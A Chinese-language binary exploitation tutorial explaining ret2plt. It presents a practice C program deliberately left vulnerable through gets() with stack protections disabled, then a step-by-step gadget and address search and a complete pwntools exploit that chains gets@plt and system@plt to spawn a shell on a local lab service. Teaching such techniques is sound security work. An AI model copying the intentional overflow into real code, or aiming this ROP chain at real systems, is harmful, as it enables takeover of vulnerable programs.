昨天剛學完神奇的 one gadgets,今天我們將回到 PLT 表,介紹 ret2plt 的攻擊手法。如果沒有足夠的 gadgets 可供使用,並且無法 leak libc,我們可以將目標轉向 PLT。這種技巧通常被稱為 ret2plt。
顧名思義,ret2plt 就是將執行流程返回到 PLT 表上。那麼,為什麼這樣做可以取得 shell 呢?我們先來看幾個例子:
write(1, "ret2plt", 7)
在 stack 上的狀況會是:puts("ret2plt")
在 stack 上的狀況會是:這些例子中,實際上都是輸出 "ret2plt" 這個字串。如果有可以利用的 PLT 表,就可以用更短的 chain 完成,而不需要尋找過多可用的 gadgets。類似的:
system("/bin/sh")
在 stack 上的狀況會是:這代表我們可以先透過 gets
或其他可以寫入的 PLT 將資料寫進可寫區域,然後把該區域當作 system@plt
的參數,這樣就可以將 /bin/sh
或 sh
寫入並呼叫 system@plt
。如此一來,便能開啟 shell。
簡單來說,ret2plt 是透過 binary 中已有的函數,先準備好參數,然後直接呼叫這些函數來達成攻擊目的。即使在無法 leak libc 的情況下,也能透過返回 PLT 表來使用該函數,這就是 ret2plt。
查看以下程式碼:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void pop_rdi(){
__asm__("pop %rdi; ret;");
}
int main(){
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
char message[0x10];
system("echo 'Welcome to challenge!'");
printf("Leave a message: ");
gets(message);
return 0;
}
使用以下指令進行編譯:
gcc src/ret2plt.c -o ./ret2plt/share/ret2plt -fno-stack-protector -no-pie
你可以自行嘗試這個題目,或繼續閱讀以下解題步驟。
首先,程式在一開始使用了 system
來 echo 一段文字,這代表程式編譯時會有 system@plt
。同時,程式也使用了 gets
,這使得我們可以進行 buffer overflow 並輸入資料。題目中也沒有 Canary 和 PIE,符合我們進行 ret2plt 的條件。接下來,我們只需要確認以下資訊即可開始撰寫 exploit:
首先,使用 GDB 查看可以寫入的區域。我們可以先執行 gdb ./ret2plt
,然後設置中斷點 b main
,執行 r
,再使用 vmmap
查看程式的記憶體區塊。會發現 0x404000~0x405000 之間是可寫的區域。接著,我們可以從後面開始檢查,如 x/10gx 0x405000-0x100
,發現這些地方沒有被寫入。因此,我們可以選擇 0x404f00 作為寫入位置。
接著,我們需要使用 pop rdi
將要輸入的位置傳遞給 gets
,這可以透過 ROPgadget --binary ret2plt | grep "pop rdi"
找到。我們發現 0x40115a 是 pop rdi; ret
。
接著,使用 objdump
查看 gets@plt
和 system@plt
的地址,輸入 objdump -M intel -d ret2plt
。結果顯示 gets@plt
在 0x401050,system@plt
在 0x401030。同時,我們還要確認 padding 的大小,發現輸入會從 rbp-0x10
開始,因此 padding 是 0x10+0x8=0x18
。
資訊確認完畢後,我們可以開始撰寫 exploit。
完整 exploit:
from pwn import *
# r = process('../ret2plt/share/ret2plt')
r = remote('127.0.0.1', 10007)
pop_rdi = 0x000000000040115a
gets_plt = 0x401050
system_plt = 0x401030
bss = 0x404f00
payload = b"A" * (0x10 + 0x8) + p64(pop_rdi) + p64(bss) + p64(gets_plt) + p64(pop_rdi) + p64(bss) + p64(system_plt)
r.sendlineafter(b"Leave a message: ", payload)
r.sendline(b"/bin/sh")
r.interactive()
簡單來說,就是透過 pop rdi; ret
和 gets@plt
將 /bin/sh
寫入到 BSS 段,接著再使用 pop rdi; ret
將 BSS 段的資料傳遞給 system@plt
,以此開啟 shell。
solve!!